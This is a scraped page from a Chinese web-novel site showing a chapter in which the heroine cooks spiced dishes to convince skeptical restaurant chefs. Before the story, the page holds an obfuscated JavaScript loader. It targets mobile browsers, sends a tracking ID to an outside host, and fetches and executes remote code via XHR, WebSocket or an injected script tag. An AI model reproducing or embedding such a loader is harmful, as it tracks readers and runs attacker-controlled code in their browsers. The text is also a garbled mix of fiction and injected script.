足迹
摄政王,农女王妃是首富全文阅读夏晚月
登录
关灯
护眼
字体:

第78章(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

从古至今,哪有人拿香料做菜?

吃香料?确定吃了不会出事吗?

钱元宝正认真的听着夏晚月的话,突然被人打断,忍不住黑了脸。

“你如果不想待在醉香楼了,就收拾东西滚!”

王大厨脸色讪讪地的道:“不是......少东家,她在瞎说啊!”

“香料怎么能放到菜里!要是吃死人了怎么办?”

夏晚月懒得跟王大厨辩驳,直接让一直站在旁边没说过话的夏光宗去街上,找西域商人买一些八角桂皮香叶回来。

夏光宗出去买香料的时候,她则走到厨房堆放食材的地方,选了一个鱼头,一块猪腰,一串猪下水和一块肥瘦相间的五花肉,走到灶台边,开始处理这几样食材。

钱元宝看着她的动作,猜出了她的意图,惊讶的问:“晚月,你是打算拿这几样东西做菜?”

这几样东西,除了五花肉,其他几样虽然能吃,但腥味都很重。

夏晚月点点头,用刀将鱼头剁开,决定先拿大蒜辣椒,熬一罐子剁椒,然后做一个剁椒鱼头。

她一边在心里盘算着,一边开始熬剁椒。

剁椒熬好后,猪下水,也就是猪腰子,她也让帮厨的厨娘清洗干净了。

她用一把较薄的菜刀,将猪腰子里的白色腺体,都剔除了出来,然后切成好看的腰花。

五花肉也过了一遍水,煮出里面的血沫,用糖炒出好看的焦糖色。

等她将这几样食材基本处理好了的时候,夏光宗也带着香料回来了。

夏晚月检查了一下八角桂皮香叶,确定跟现代的一模一样,然后才开始正式做菜。

炒好的五花肉和八角桂皮香叶一起,放进一个小罐子里,开始文火慢炖。

腰花用高粱酒和老姜腌制了半盏茶的时间后,放入葱姜蒜和刚刚做好的剁椒,大火爆炒,放入她提前调好的料汁,大火收汁,用一个白瓷盘装好。

腰花炒好后,她开始做剁椒鱼头。

鱼头放在蒸笼里直接蒸熟,然后在鱼头上面淋上料汁和剁辣椒,最后再淋上滚油,香味顿时爆发了出来。

最后一个菜,就是猪大肠。

夏晚月也早就想好了,猪大肠就做成酸辣肥肠。

热锅凉油,放入八角,小火爆出香味,加入辣椒和姜煸炒至软后,加入猪大肠,最后放入醋和盐,再放一点糖提鲜。

等她将这几道炒菜都做好了,红烧肉也炖好了。

夏晚月用抹布揭开红烧肉的罐子盖,一股浓烈的肉香,顿时袭击了所有人的嗅觉。

......

夏晚月将菜做好后,对一直看她不顺眼的几个大厨道:“你们质疑我用香料做菜,会吃死人。”

“我解释再多,你们也不会相信。”

“只有你们亲眼看到,我吃了放了香料的菜没事,才会相信。”

说完,夏晚月用筷子夹起一块红烧肉,送进口里。

唔,入口即化。

她忍不住满足的点点头,厨艺还好没退步。

钱元宝看夏晚月吃的香,隐蔽的咽了咽口水,凑到她身边道:“我相信你说的话,我也不怕死,能不能让我一起吃?”